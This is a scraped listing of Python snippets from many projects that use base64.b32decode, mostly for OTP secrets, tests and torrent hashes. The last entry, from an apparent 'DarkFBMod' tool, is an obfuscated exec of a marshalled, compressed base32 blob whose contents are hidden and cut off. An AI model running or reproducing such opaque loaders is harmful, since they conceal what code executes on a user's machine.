コード例 #1
0
ファイル: converter.py プロジェクト: Dracie/Scripts
def b32():
	if sys.argv[2] == 'e':
		print base64.b32encode(sys.argv[3])
	elif sys.argv[2] == 'd':
		print base64.b32decode(sys.argv[3])
	else:
			usage()
コード例 #2
0
ファイル: test_hotp.py プロジェクト: sfstpala/pcr
 def test_new_secret(self):
     # secrets should be unique and 20 characters long (base 32)
     secrets = set(new_secret() for i in range(100))
     self.assertEqual(len(secrets), 100)
     for s in secrets:
         self.assertTrue(len(s), 20)
         base64.b32decode(s)
コード例 #3
0
ファイル: add_cred.py プロジェクト: pelme/yubioath-desktop
 def validate(self, value, pos):
     try:
         b32decode(self.fixup(value))
         return QtGui.QValidator.Acceptable
     except:
         if self.partial.match(value):
             return QtGui.QValidator.Intermediate
     return QtGui.QValidator.Invalid
コード例 #4
0
ファイル: otp.py プロジェクト: cathalgarvey/pyotp
 def byte_secret(self):
     # In Py3.3+ base64.b64**code take string/bytes but in prior it's
     # always bytes.
     if isinstance(self.secret, str):
         return base64.b32decode(self.secret.encode(), casefold=True)
     elif isinstance(self.secret, bytes):
         return base64.b32decode(self.secret, casefold=True)
     else:
         raise TypeError("Self.secret is neither bytes nor string..")
コード例 #5
0
ファイル: code.py プロジェクト: emersion/Gnome-TwoFactorAuth
 def is_valid(code):
     """
         Check if the secret code is a valid one
     """
     try:
         b32decode(code, casefold=True)
         return True
     except (binascii.Error, ValueError):
         return False
コード例 #6
0
ファイル: cli.py プロジェクト: hobarrera/totp-cli
def input_shared_key():
    while True:
        try:
            shared_key = totp.normalize_secret(getpass.getpass('Shared key: '))
            b32decode(shared_key.upper())
            if shared_key == "":
                raise ValueError('The key entered was empty')
            return shared_key
        except ValueError as err:
            print(*err.args)
コード例 #7
0
ファイル: keys.py プロジェクト: cathalgarvey/bytestag
def b32_to_bytes(s, ignore_error=False):
    '''Convert base32 string to bytes'''

    if ignore_error:
        try:
            return base64.b32decode(s.encode())
        except binascii.Error:
            pass
    else:
        return base64.b32decode(s.encode())
コード例 #8
0
ファイル: forms.py プロジェクト: jmullins/trweb
    def clean_secret(self):
        secret = self.cleaned_data["secret"]
        if len(secret) != 16:
            raise forms.ValidationError("Invalid secret")

        try:
            base64.b32decode(secret)
        except:
            raise forms.ValidationError("Invalid secret")

        return secret
コード例 #9
0
ファイル: configuration.py プロジェクト: IEF/authenticator
def genKeyLine( code ):
  secret_key = code.replace(' ','').upper()
  if len(secret_key) <= 32:
    key_b32 = secret_key+'='*(32%len(secret_key))
    key = base64.b32decode(key_b32)
  else:
    key_b64 = secret_key+'='*(64%len(secret_key))
    key = base64.b32decode(key_b64)
  key_bytes = map(ord,key)
  lengths.append( len(key_bytes) )
  key_hex = ["0x%02X" % x for x in key_bytes]
  return "{ " + ', '.join(key_hex) + " },"
コード例 #10
0
def decode_secret(secret):
  try:
    return base64.b32decode(secret, True)
  except:
    pass

  try:
    return base64.b32decode(secret + '=' * (8 - len(secret) % 8), True)
  except:
    pass

  return secret
コード例 #11
0
def from_b32key(b32_key, state=None):
    '''Some phone app directly accept a partial b32 encoding, we try to emulate that'''
    if len(b32_key) % 8 not in (0, 2, 4, 5, 7):
        raise ValueError('invalid base32 value')
    b32_key += '=' * (8 - len(b32_key) % 8)
    b32_key = b32_key.upper()
    try:
        base64.b32decode(b32_key)
    except TypeError:
        raise ValueError('invalid base32 value')
    return GoogleAuthenticator('otpauth://totp/xxx?%s' %
            urllib.urlencode({'secret': b32_key}), state=state)
コード例 #12
0
ファイル: vfstable.py プロジェクト: Splawik/pytigon
def vfsopen(request, file):
    try:
        try:
            file2 = b32decode(file).decode('utf-8')
        except:
            file2 = b32decode(file.encode('utf-8')).decode('utf-8')
        plik = default_storage.fs.open(automount(file2),'rb')
        buf = plik.read()
        plik.close()
    except:
        buf = ''
    return HttpResponse(buf)
コード例 #13
0
ファイル: test_base64.py プロジェクト: 524777134/cpython
 def test_b32decode(self):
     eq = self.assertEqual
     tests = {b'': b'',
              b'AA======': b'\x00',
              b'ME======': b'a',
              b'MFRA====': b'ab',
              b'MFRGG===': b'abc',
              b'MFRGGZA=': b'abcd',
              b'MFRGGZDF': b'abcde',
              }
     for data, res in tests.items():
         eq(base64.b32decode(data), res)
         eq(base64.b32decode(data.decode('ascii')), res)
コード例 #14
0
ファイル: iotp.py プロジェクト: evilhamsterman/iotp
def set(service, key):
    """Accepts a service and a key and saves it out to the keyFile."""
    keys = setup_keys()
    # convert Google Authenticator style space-separated lower-case to upper
    # case without spaces
    key = re.sub('\s','',key.upper())
    try:
        base64.b32decode(key)
    except TypeError:
        click.echo('{} is not a valid key'.format(key))
    else:
        keys[service] = key
        save_keys(keys)
コード例 #15
0
ファイル: utils.py プロジェクト: Juanvvc/scfs
	def get_key(self,id,enc_key=None):
		""" A convenience method to get a key from the config file.
		If enc_key is provided, the key are decrypted with AES.
		If enc_key is None, use the key provided during the
		initialization of this class. """
		if not enc_key: enc_key=self.key
		kf = None
		if enc_key:
			kf=self.get('Keys:'+id,None)
			if kf: kf=AES.new(enc_key).decrypt(base64.b32decode(kf))
		else:
			kf=self.get('Keys:'+id,None)
			if kf: kf=base64.b32decode(kf)
		return kf
コード例 #16
0
ファイル: pyrumpeltree.py プロジェクト: pibara/pyrumpeltree
 def nodecaps(self,firstcap):
   if firstcap[1] == 'o': #Check for read-only or attenuated cap prefix.
     cap1=None            #There is no unattenuated/rw cap for this one
     cap2=firstcap        #We use the function argument as ro/attenuated cap
     key2=base64.b32decode(firstcap[3:]+"====") #Calculate the FEK by decoding the non-prefix part of the ro/attenuated cap.
   else:
     cap1=firstcap        #Use the function parameter as rw/unattenuated cap
     key1=base64.b32decode(firstcap[3:]+"====") #Decode the non-prefix part of the unattenuated cap.
     key2=_macfun(b"read-only::nosalt",key1) #Derive the FEK by hashing a fixed string with cap1 as key.
     cap2="ro-" + base64.b32encode(key2)[:-4].decode("utf-8") #Also encode the FEK into a cap for ro/attenuated access.
   key3=_macfun(self.cloudsecret.encode(),cap2.encode()) #Derive a third key from the attenuated/ro cap
   str3= base64.b32encode(key3)[:-4].decode("utf-8") #Now start off with encoding in base32.
   location = str3[0:3] + "/" + str3[3:6] + "/" + str3[6:] #Create a path for a ballanced directory tree for where to serialize our nodes.
   return (cap1,cap2,location,key2) 
コード例 #17
0
ファイル: test_ecdsa.py プロジェクト: daira/pycryptopp
 def test_compatibility(self):
     # Confirm that the KDF used by the SigningKey constructor doesn't
     # change without suitable backwards-compability
     seed = base64.b32decode('XS27TJRP3JBZKDEFBDKQ====')
     signer = ecdsa.SigningKey(seed)
     v1 = signer.get_verifying_key()
     vs = v1.serialize()
     vs32 = base64.b32encode(vs)
     self.failUnlessEqual(vs32, "ANPNDWJWHQXYSQMD4L36D7WQEGXA42MS5JRUFIWA")
     v2 = ecdsa.VerifyingKey(vs)
     #print base64.b32encode(signer.sign("message"))
     sig32 = "EA3Y7A4T62J3K6MUPJQN3WJ5S4SS53EGZXOSTQW7EQ7OXEMS6QJLYL63BLHMHZD7KFT37KEPJBAKI==="
     sig = base64.b32decode(sig32)
     self.failUnless(v1.verify("message", sig))
     self.failUnless(v2.verify("message", sig))
コード例 #18
0
ファイル: test_base64.py プロジェクト: Apoorvadabhere/cpython
 def test_b32decode_error(self):
     tests = [b'abc', b'ABCDEF==', b'==ABCDEF']
     prefixes = [b'M', b'ME', b'MFRA', b'MFRGG', b'MFRGGZA', b'MFRGGZDF']
     for i in range(0, 17):
         if i:
             tests.append(b'='*i)
         for prefix in prefixes:
             if len(prefix) + i != 8:
                 tests.append(prefix + b'='*i)
     for data in tests:
         with self.subTest(data=data):
             with self.assertRaises(binascii.Error):
                 base64.b32decode(data)
             with self.assertRaises(binascii.Error):
                 base64.b32decode(data.decode('ascii'))
コード例 #19
0
ファイル: undernet_totp.py プロジェクト: DarkDefender/scripts
def add_server(server, seed=None):
    """ Append new server to the plugin configuration. """
    if seed:  # Test seed
        if len(seed[0]) == 40:
            unhexlify(seed[0])
            seed = seed[0]
        else:
            b32decode(''.join(seed).replace(" ", ""), True)
            seed = ' '.join(seed)
        weechat.command("", "/secure set %s_seed %s" % (server, seed))

    servers = get_config_as_list("otp_server_names")
    if server not in servers:
        servers.append(server)
        weechat.config_set_plugin("otp_server_names", ','.join(servers))
コード例 #20
0
ファイル: googlevoice.py プロジェクト: Cameri/Gary
    def __smsAuth(self, smsKey=None):
        if smsKey is None:
            smsKey = config.smsKey

        if smsKey is None:
            from getpass import getpass
            smsPin = getpass("SMS PIN: ")
            content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read()

        else:
            smsKey = base64.b32decode(re.sub(r' ', '', smsKey), casefold=True).encode("hex")
            content = self.__oathtoolAuth(smsKey)

            try_count = 1

            while "The code you entered didn&#39;t verify." in content and try_count < 5:
                sleep_seconds = 10
                try_count += 1
                print 'invalid code, retrying after {0} seconds (attempt {1})'.format(sleep_seconds, try_count)
                import time
                time.sleep(sleep_seconds)
                content = self.__oathtoolAuth(smsKey)

        del smsKey

        return content
コード例 #21
0
ファイル: generic.py プロジェクト: WebSpider/SickRage
    def _get_torrent_hash(self, result):

        if result.url.startswith('magnet'):
            result.hash = re.findall('urn:btih:([\w]{32,40})', result.url)[0]
            if len(result.hash) == 32:
                result.hash = b16encode(b32decode(result.hash)).lower()
        else:
            if not result.content:
                logger.log('Torrent without content', logger.ERROR)
                raise Exception('Torrent without content')

            try:
                torrent_bdecode = bdecode(result.content)
            except BTFailure as e:
                logger.log('Unable to bdecode torrent', logger.ERROR)
                logger.log('Torrent bencoded data: {0}'.format(str(result.content)), logger.DEBUG)
                raise
            try:
                info = torrent_bdecode["info"]
            except Exception as e:
                logger.log('Unable to find info field in torrent', logger.ERROR)
                raise
            result.hash = sha1(bencode(info)).hexdigest()

        return result
コード例 #22
0
ファイル: generic.py プロジェクト: hernandito/SickRage
    def _makeURL(self, result):
        urls = []
        filename = u''
        if result.url.startswith('magnet'):
            try:
                torrent_hash = re.findall(r'urn:btih:([\w]{32,40})', result.url)[0].upper()

                try:
                    torrent_name = re.findall('dn=([^&]+)', result.url)[0]
                except Exception:
                    torrent_name = 'NO_DOWNLOAD_NAME'

                if len(torrent_hash) == 32:
                    torrent_hash = b16encode(b32decode(torrent_hash)).upper()

                if not torrent_hash:
                    logger.log(u"Unable to extract torrent hash from magnet: " + ex(result.url), logger.ERROR)
                    return urls, filename

                urls = [x.format(torrent_hash=torrent_hash, torrent_name=torrent_name) for x in self.btCacheURLS]
            except Exception:
                logger.log(u"Unable to extract torrent hash or name from magnet: " + ex(result.url), logger.ERROR)
                return urls, filename
        else:
            urls = [result.url]

        if self.providerType == GenericProvider.TORRENT:
            filename = ek(os.path.join, sickbeard.TORRENT_DIR, sanitize_filename(result.name) + '.' + self.providerType)

        elif self.providerType == GenericProvider.NZB:
            filename = ek(os.path.join, sickbeard.NZB_DIR, sanitize_filename(result.name) + '.' + self.providerType)

        return urls, filename
コード例 #23
0
	def denusumubase32(self):
		
		try:
			import base64
			self.message = base64.b32decode(self.message)
		except:
			print "[-] Base32 encding error"
コード例 #24
0
ファイル: generate-seeds.py プロジェクト: btcdrak/viacoin
def name_to_ipv6(addr):
    if len(addr)>6 and addr.endswith('.onion'):
        vchAddr = b32decode(addr[0:-6], True)
        if len(vchAddr) != 16-len(pchOnionCat):
            raise ValueError('Invalid onion %s' % s)
        return pchOnionCat + vchAddr
    elif '.' in addr: # IPv4
        return pchIPv4 + bytearray((int(x) for x in addr.split('.')))
    elif ':' in addr: # IPv6
        sub = [[], []] # prefix, suffix
        x = 0
        addr = addr.split(':')
        for i,comp in enumerate(addr):
            if comp == '':
                if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end
                    continue
                x += 1 # :: skips to suffix
                assert(x < 2)
            else: # two bytes per component
                val = int(comp, 16)
                sub[x].append(val >> 8)
                sub[x].append(val & 0xff)
        nullbytes = 16 - len(sub[0]) - len(sub[1])
        assert((x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0))
        return bytearray(sub[0] + ([0] * nullbytes) + sub[1])
    elif addr.startswith('0x'): # IPv4-in-little-endian
        return pchIPv4 + bytearray(reversed(a2b_hex(addr[2:])))
    else:
        raise ValueError('Could not parse address %s' % addr)
コード例 #25
0
def magnet_to_infohash(magnet):
	import re
	import base64
	m = re.match(r'magnet:\?xt=urn:btih:(.*)', magnet)
	assert m, magnet
	code = m.group(1)
	return base64.b32decode(code)
コード例 #26
0
ファイル: __init__.py プロジェクト: badubizzle/onetimepass
def get_hotp(secret, intervals_no, as_string=False):
    """Get HMAC-based one-time password on the basis of given secret and
    interval number.

    Keyword arguments:
    secret          -- the base32-encoded string acting as secret key
    intervals_no    -- interval number used for generating different tokens, it
    is incremented with each use
    as_string       -- True if result should be padded string, False otherwise

    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=1)
    765705
    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2)
    816065
    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2, as_string=True)
    '816065'
    """
    try:
        key = base64.b32decode(secret)
    except (TypeError):
        raise TypeError('Incorrect secret')
    msg = struct.pack(">Q", intervals_no)
    hmac_digest = hmac.new(key, msg, hashlib.sha1).digest()
    o = ord(hmac_digest[19]) & 15
    token_base = struct.unpack(">I", hmac_digest[o:o + 4])[0] & 0x7fffffff
    token = token_base % 1000000
    if as_string:
        return '{:06d}'.format(token)
    else:
        return token
コード例 #27
0
ファイル: old.py プロジェクト: Bull-Labs/CloudMalwareAlarm
    def _publish(self, announcement):
        self._debug_counts["inbound_message"] += 1
        self.log("introducer: announcement published: %s" % (announcement,) )
        (furl, service_name, ri_name, nickname_utf8, ver, oldest) = announcement
        #print "PUB", service_name, nickname_utf8

        nodeid = b32decode(SturdyRef(furl).tubID.upper())
        index = (service_name, nodeid)

        if index in self._announcements:
            (old_announcement, timestamp) = self._announcements[index]
            if old_announcement == announcement:
                self.log("but we already knew it, ignoring", level=log.NOISY)
                self._debug_counts["inbound_duplicate"] += 1
                return
            else:
                self.log("old announcement being updated", level=log.NOISY)
                self._debug_counts["inbound_update"] += 1
        self._announcements[index] = (announcement, time.time())

        for s in self._subscribers.get(service_name, []):
            self._debug_counts["outbound_message"] += 1
            self._debug_counts["outbound_announcements"] += 1
            self._debug_outstanding += 1
            d = s.callRemote("announce", set([announcement]))
            d.addBoth(self._debug_retired)
            d.addErrback(rrefutil.trap_deadref)
            d.addErrback(log.err,
                         format="subscriber errored on announcement %(ann)s",
                         ann=announcement, facility="tahoe.introducer",
                         level=log.UNUSUAL, umid="jfGMXQ")
コード例 #28
0
ファイル: debug.py プロジェクト: drewp/tahoe-lafs
def dump_cap(options):
    from allmydata import uri
    from allmydata.util import base32
    from base64 import b32decode
    import urlparse, urllib

    out = options.stdout
    cap = options.cap
    nodeid = None
    if options['nodeid']:
        nodeid = b32decode(options['nodeid'].upper())
    secret = None
    if options['client-secret']:
        secret = base32.a2b(options['client-secret'])
    elif options['client-dir']:
        secretfile = os.path.join(options['client-dir'], "private", "secret")
        try:
            secret = base32.a2b(open(secretfile, "r").read().strip())
        except EnvironmentError:
            pass

    if cap.startswith("http"):
        scheme, netloc, path, params, query, fragment = urlparse.urlparse(cap)
        assert path.startswith("/uri/")
        cap = urllib.unquote(path[len("/uri/"):])

    u = uri.from_string(cap)

    print >>out
    dump_uri_instance(u, nodeid, secret, out)
コード例 #29
0
ファイル: onetimepass.py プロジェクト: fzh890523/py_sth
def get_hotp_token(secret, intervals_no):
    key = base64.b32decode(secret, True)
    msg = struct.pack(">Q", intervals_no)
    h = hmac.new(key, msg, hashlib.sha1).digest()
    o = ord(h[19]) & 15
    h = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
    return h
コード例 #30
0
ファイル: scramblesuit.py プロジェクト: matanmaz/pupy
    def validate_external_mode_cli( cls, args ):
        """
        Assign the given command line arguments to local variables.
        """

        uniformDHSecret = None

        try:
            uniformDHSecret = base64.b32decode(util.sanitiseBase32(
                                     args.uniformDHSecret))
        except (TypeError, AttributeError) as error:
            log.error(error.message)
            raise base.PluggableTransportError("Given password '%s' is not " \
                    "valid Base32!  Run 'generate_password.py' to generate " \
                    "a good password." % args.uniformDHSecret)

        parentalApproval = super(
            ScrambleSuitTransport, cls).validate_external_mode_cli(args)
        if not parentalApproval:
            # XXX not very descriptive nor helpful, but the parent class only
            #     returns a boolean without telling us what's wrong.
            raise base.PluggableTransportError(
                "Pluggable Transport args invalid: %s" % args )

        if uniformDHSecret:
            rawLength = len(uniformDHSecret)
            if rawLength != const.SHARED_SECRET_LENGTH:
                raise base.PluggableTransportError(
                    "The UniformDH password must be %d bytes in length, ",
                    "but %d bytes are given."
                    % (const.SHARED_SECRET_LENGTH, rawLength))
            else:
                cls.uniformDHSecret = uniformDHSecret
コード例 #31
0
ファイル: 10939.py プロジェクト: xCrypt0r/Baekjoon
def main():
    print(b32decode(input().encode('utf-8')).decode('utf-8'))
コード例 #32
0
import zlib, base64
print 'Inpub user name:'
print base64.b64encode(
    zlib.compress(
        base64.b32decode('JVXWG23VOBZUC2LSPQSXG7BQPRBXYOJZHE4TS===') %
        raw_input()))
コード例 #33
0
def b32(s):
    try:
        return base64.b32decode(s).decode("utf-8")
    except:
        return 0
コード例 #34
0
ファイル: qbittorrent.py プロジェクト: Mathix/mylar3
    def load_torrent(self, filepath):

        if not filepath.startswith('magnet'):
            logger.info('filepath to torrent file set to : %s' % filepath)

        if self.client._is_authenticated is True:
            logger.info('Checking if Torrent Exists!')

            if filepath.startswith('magnet'):
                torrent_hash = re.findall("urn:btih:([\w]{32,40})", filepath)[0]
                if len(torrent_hash) == 32:
                    torrent_hash = b16encode(b32decode(torrent_hash)).lower()
                hash = torrent_hash.upper()
                logger.debug('Magnet (load_torrent) initiating')
            else:
                hash = self.get_the_hash(filepath)
                logger.debug('FileName (load_torrent): %s' % os.path.basename(filepath))

            logger.debug('Torrent Hash (load_torrent): "%s"' % hash)


            #Check if torrent already added
            if self.find_torrent(hash):
                logger.info('load_torrent: Torrent already exists!')
                return {'status': False, 'error': 'Torrent already exists'}
                #should set something here to denote that it's already loaded, and then the failed download checker not run so it doesn't download
                #multiple copies of the same issues that's already downloaded
            else:
                logger.info('Torrent not added yet, trying to add it now!')

                # Build an arg dict based on user prefs.
                addargs = {}
                if not any([mylar.CONFIG.QBITTORRENT_LABEL is None, mylar.CONFIG.QBITTORRENT_LABEL == '', mylar.CONFIG.QBITTORRENT_LABEL == 'None']):
                    addargs.update( { 'category': str(mylar.CONFIG.QBITTORRENT_LABEL) } )
                    logger.info('Setting download label to: %s' % mylar.CONFIG.QBITTORRENT_LABEL)
                if not any([mylar.CONFIG.QBITTORRENT_FOLDER is None, mylar.CONFIG.QBITTORRENT_FOLDER == '', mylar.CONFIG.QBITTORRENT_FOLDER == 'None']):
                    addargs.update( { 'savepath': str(mylar.CONFIG.QBITTORRENT_FOLDER) } )
                    logger.info('Forcing download location to: %s' % mylar.CONFIG.QBITTORRENT_FOLDER)
                if mylar.CONFIG.QBITTORRENT_LOADACTION == 'pause':
                    addargs.update( { 'paused': 'true' } )
                    logger.info('Attempting to add torrent in paused state')

                if filepath.startswith('magnet'):
                    try:
                        tid = self.client.download_from_link(filepath, **addargs)
                    except Exception as e:
                        logger.error('Torrent not added - %s' % e)
                        return {'status': False, 'error': e}
                    else:
                        logger.debug('Successfully submitted for add as a magnet. Verifying item is now on client.')
                else:
                    try:
                        torrent_content = open(filepath, 'rb')
                        tid = self.client.download_from_file(torrent_content, **addargs)
                    except Exception as e:
                        logger.error('Torrent not added - %s' % e)
                        return {'status': False, 'error': e}
                    else:
                        logger.debug('Successfully submitted for add via file. Verifying item is now on client.')

            if mylar.CONFIG.QBITTORRENT_LOADACTION == 'force_start':
                logger.info('Attempting to force start torrent')
                try:
                    startit = self.client.force_start(hash)
                    logger.info('startit returned: %s' % startit)
                except:
                    logger.warn('Unable to force start torrent - please check your client.')
            else:
                logger.info('Client default add action selected. Doing nothing.')

        try:
            time.sleep(5) # wait 5 in case it's not populated yet.
            tinfo = self.get_torrent(hash)
        except Exception as e:
            logger.warn('Torrent was not added! Please check logs')
            return {'status': False, 'error': e}
        else:
            logger.info('Torrent successfully added!')
            filelist = self.client.get_torrent_files(hash)
            #logger.info(filelist)
            if len(filelist) == 1:
                to_name = filelist[0]['name']
            else:
                to_name = tinfo['save_path']
 
            torrent_info = {'hash':             hash,
                            'files':            filelist,
                            'name':             to_name,
                            'total_filesize':   tinfo['total_size'],
                            'folder':           tinfo['save_path'],
                            'time_started':     tinfo['addition_date'],
                            'label':            mylar.CONFIG.QBITTORRENT_LABEL,
                            'status':           True}

            #logger.info(torrent_info)
            return torrent_info
コード例 #35
0
ファイル: Authentication.py プロジェクト: WarnerChang/PyFoam
def checkChallenge(challenge,pubKey):
    org,encoded=challenge.split(":")
    org=b32decode(org).decode('utf-8')
    encoded=decode(b32decode(encoded),pubKey)
    return org==encoded
コード例 #36
0
def decode(info):
    return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
コード例 #37
0
def b32decode(s):
    return base64.b32decode(s)
コード例 #38
0
 def key_filter_out_windows(key):
     """
     We need to decode the keys so regex based removal works.
     """
     return base64.b32decode(key)
コード例 #39
0
 def test_b32decode_error(self):
     for data in [b'abc', b'ABCDEF==', b'==ABCDEF']:
         with self.assertRaises(binascii.Error):
             base64.b32decode(data)
         with self.assertRaises(binascii.Error):
             base64.b32decode(data.decode('ascii'))
コード例 #40
0
ファイル: conexions.py プロジェクト: desmonHak/BackDoor2.0
 def encrypt(self, data):
     data = b32encode(data)
     cipher = AES.new(b32decode(self.key), AES.MODE_EAX)
     ciphertext, tag = cipher.encrypt_and_digest(data)
     #pdb.set_trace()
     return cipher.nonce + tag + ciphertext
コード例 #41
0
ファイル: Mod.py プロジェクト: maestro-a/DarkFBMod
#Hai Stah ^_^
#Mau Recode yak? :)
#Mehehehe
#Encrypt By Maestro
#WA 081360479719
import marshal,zlib,base64
exec(marshal.loads(zlib.decompress(base64.b32decode("PCOO3PIJPAONS5I6PKVROAG5IBRV7OIWZAQQTEUDPURTSA3SJCBJXBQEVEDDTGBBIVQQVKACKBAG73FKE2ABSUEWGJ5HVCJMJMRXTRTDJ5DLCFGJOISCWXTCHGYSGO2OCR6V63BLP23D5L2PJI7DT7FC4TSSL7X4TZR7XWLZ6GNXPT5ZJNKXKVZPACERSSRCS7NVLN7OL23456OPXHTZ4O2P7CPTB7P7BT6W77O5CAQTV7NHSACCCN7FWVBG4KXCHJAG4BWEOWINYDEK5MILSGIS25QXEMZMV2V4RTJKOFOU23SWRPVRU4VTIZOEPSGNRC4I5EU3KFYV2S3O23RHLABE5JEDERTOY2ELFXRID3LZHG7VMQTLLB4ERQDLEERF3HPSLCVCDCCCZUZEIHZIUQUUSRBJ45ZSGSIZWTM6BSFOEZAIZEGJAOSMCLGSJWKCN23BABPOVOQLUZBLXHMUUFFDRUMAVJVGH7F62RFPMY37KZFZSW6EEB5OQMMB2ZFZSMMF33ABXXMUDYHRJ2ZLYC2S5C2OWEP2JRI7IOCZKQQPT3DOULLZCD6T3R5YQHWDRO6UJL6HBOK6QDLY2FG7IRTSOMP5DG7QOY75DG4J6YCFTJGXA4QNIDTCPAEMGHQMB7R5GIYYD3C7ASIMPMY6ZQ5QD7BQCDAHGEOME4AYYMIQYRZRDTBXAHGDMNCKPY3TTTUHIVCOCC6Q3G7UCTI5X4PCNGRHPYGFATITX4PCETI3X4HCCTIXPYGFGNCN7CIXU6E34CZPZYIH2N26TQS7UHV4TASPUXV4HBDXIFJPZYJ32GZPFYIH2H26LQSPU7V4XBCPIJ7Q4I6UIP4AC7HRF7JALZOCN6RBXS4EF5A6XSMCF6TBXS4EV5BDPBYY32CH6HRL2RD7CIX6ERHPYWFWTIXX4HCXLIXX4PCQ3IQP4DCXGRA7YSFRTIQP4HC7GRA7Y2FRPCB6QILTPCJ6RIL3PCB6QYL66I72HBPNYJX2GG6HQP6RR7R4KLGRJ7QMLC2EP4FC6NFCH6GRO42ET7AIW6NCT7CAXHPIU7YMEIH2GN4LCQHU2N4LCSHUGN4LCRHUWN4GCET5CIXZNCL6BYXVNCD6DYXRERF7QALUTIS7YSFRJUJP4FCZV2HPYGFQZUM7YWFTXRGICL6TF6JQUUGBMMLMUJPSCKYBSL6XBSDIELFTTISPYHCF7PSLN2XBF7JKGFLMSSQVZGXIJ5DL4TBEKYYPPQBMVHIPQ72PPCSHGTRVGIRWQUP6W5GPGSSURZW36THVJD2CF7WSQDNOF5SQ2TN7SZHCPLDWPKNTCM2DVKM3E3BNSFIJHRX4SKLDEXZSVS3PYR2Z4NHM5MDMRMK5IQEDWPUVJSUYW7GXJ2S4G2N45MQH2U2DRE2NV5NENVVGSSIOJ3EFMN3A3PKINJV3HNUZGRGEQZSBINXNANF5U4LY3FDNYXU63VMMSHK7VD7XDUNVA62OU72GZWWUT5JDCUV5MKTMZ7XBUG7IDPVBUHIZD7TDUN66VDNHKRJT7LC6ZPJDNJP3Q75ANB72I2DINVPHRSWEKG6UJ5XQPR7GAVYYMKWPIK25AYJ2GALS5WUUMDI5CDPAQBI6ENG5COQI7JRM5DL44W4DJ4OR6TG65K7K3HS3GPWZ4IHUBMPKOLI3V2WXKC53M3AEGKG6BEWERJRP3JK7IZ6FJDSLJ3DORAGWCI6CZI6DIBDONJCIHJSZQPXCSQFA54C4RWQJWJA4RZHNEFZC6SBWAJAIGNYUYJNEXSJLNXDANESNJJODWXYJSCXI5DJA5EMKOGPPWSIBSG5TXQBC6HQ2GCCS6I5ZWQZJPGN7MZBRG3FIX7NYIS34BU65AFTMNRLEX2PJERTIASZTMVRVOE7U4UAGPGZXNRWYLJMGPRVRRLTCVBRWQFUOAGSNNZVVSV66E7ITUWFP5DJJAPHDQVELOH4IAHEHWXJ5BROJ3PDWCOHI2UZODHMCAFQ6GEEATB3DUNDUHDUKBQAQ2DT625B45YIXEJ2GMY3JB64M2M5Z5IYK53MXHWVP4UIFSDWDEPFHKIBHTMAPATVG4IIWQDLUXX5YAZKV4NWDQYB5GWMDJ54KC647HVSACL55QPLAIE72EOGYHBGGMSRX23MCAGUZQRDEODPHROOY2V4JQG3GYPM5WMY7K2WWWQGRZVDYEMCE2EFURAYV4LQY2E4EZTWDOBP46RZTUY2CQPKKKRUWMIYKZGBGERBBLB5RU65JSCHMTWYDGC4HFWVTLGSPB6ZAPYDDMDULR2B23XFJEUZTQLCB7QXLBI4LN77AJ7HZSVJ5QY7MKO6BHAROGEAAXCM4WWCG6HR6OWGLEEUGSHA26C536UJIMRXBOSA3JS22IJFQ2Q3EBX3LASLJUR63IZTJQFVBIP6L4HSC37TZD3S7PN7RO4WHT76HX3WP737VJ77MTL346LNV77HWC7UQ7POB4TR4SK2XE5C4NPAEYUFCUVT7SRD2R3GP7XLV7O777IL65P76Y365OPTW762Q7XT75XK7XL353F2QDEJC3GVZADBO3ZIPGSSRUEQ7JX3LN5Q5NT7DAXG73Y3Y6EKSZ3ED7TP6XH5Z775OOVH47ERC2KWKPMUAW6QV4M7Y3WOYX7LTAJ246MSG6YUAJE722ORD6SEI76LYKKGOFO7S54G2OFOYYPQ7DZD6SW37A5GOLZFGOVMVG76IJOFYOL5NZ5HV7BK7M2V4F7FPLZSLCQ6J3S3E2JM3XIHA2OE2DZ6WU54D4MK6544XPZOMRXVTZ4VWVRXYHP4F5OT26XPCOEROUTH2KA5LL2CUL6RCKF2M7NRG4LV7RNB4THNXI2JEXNU5WFHPIL426ZJG5LTPH2O6YT3KSRIWPU55DKIE7VNPQI357PJX7HUSQQQFB76TZTZYSKHDY6BRBCWGG3MAGHTR5ZGXEEQKEHIXHREIEMIX4A2UAQW3HEEUKZUMXSRY7PS7O3ISOL72KTVQS6QR4NX6BVX5G47HCW4M6HS3IRTZ6GRBQLYTLLMBH5QS36ORB3ECACYANI5UMGSMBNVZQLKDMXKINUI5HGBLS4ON5XCAFFWQ3CIRIQDVMDAZ3XYGA4RKNWV47ZISFEV4EYUGSJYIPQYFMVKITYL2QJLMIYIKM4WQDYBLTSN5AINETAV4IJOEPPMEEPSKOBK4LLVKZBZDLFYES5VWBDBXKDGAGVD4C6CD2WQEJUOGLCJDHDQKSLYBVCS6SAAT2WJBLSTZH7VSJLPTET6SCSCH34MYBZN7AUAZCJTCRWWMO5HLHOEF2C3CEIKRAX2BGRTNOYOOTE52UEVSMPCK4JYLAEKHV7YGURSAVAQRN2V4V45J7UCZLOSL4YW4BSOQQTECZDAYYEZGZM2GYCPXENFVERY2KU7F2L2LTKPJJONSJMHST7KSPGRQBSMW6HNZFUMNFWNUNYAK4XS7GBLTJS2U7GDT5FVUO2ECYQ6JFNDPFLURGVMZEPX4MN2RDCNFV4MKSRJKLIMCWWA2HYO2ITZZTHUF7SE2IZFJ6X47GOZH2AYDAOV4NXASYXNFUJUDURRXKSNT4DNF5M7DGBL22RXCAHUTGWKKWLYHW5JCHGY3VIXF2Q4SGYNKFPURIRNQFKCRPC2WF22RQVK5CR4CY6LUNTUNRYHQ3DAMR6HR6HA6GZSUPT7VWK3PGCXTYZ3IA44WLJXP46WR7ZJRW4C53HGOZXHRXFVVSBFSJVUZSACJ6XBCXVUKNIHL7ASWO6YQFGDCLGVEUKEJC5F6PYN3EZFV2VMTHFOJ3FYRLITKOCVDDYINX75ULQ3GCCGWFVJYHSGQHHWEVB2IMAT6XBEBVKI44Z6NMWCH5EHFD3NFVPWBV2SPNJLG5BOJIZYJXUJMNM2X4QAST72IUYIXSIOSQJDBLJDMUMUXEB5AYSKPRT7A2K3VCTEAFFFNUPL6ZCX5YJ6UYCKSAJK2XNBI6UAYRDJJJCAQJ2CFBL2HSUS